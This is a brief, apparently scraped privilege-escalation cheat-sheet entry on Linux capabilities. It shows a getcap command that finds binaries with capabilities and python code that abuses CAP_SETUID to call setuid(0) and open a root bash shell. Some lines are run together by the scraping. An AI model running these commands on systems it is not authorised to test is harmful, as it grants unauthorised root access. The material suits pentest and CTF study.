Linux capabilities
Linux capabilities provide a subset of the available root privileges to a process.
getcap -r / 2>/dev/nullCAP_SETUID
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")Last updated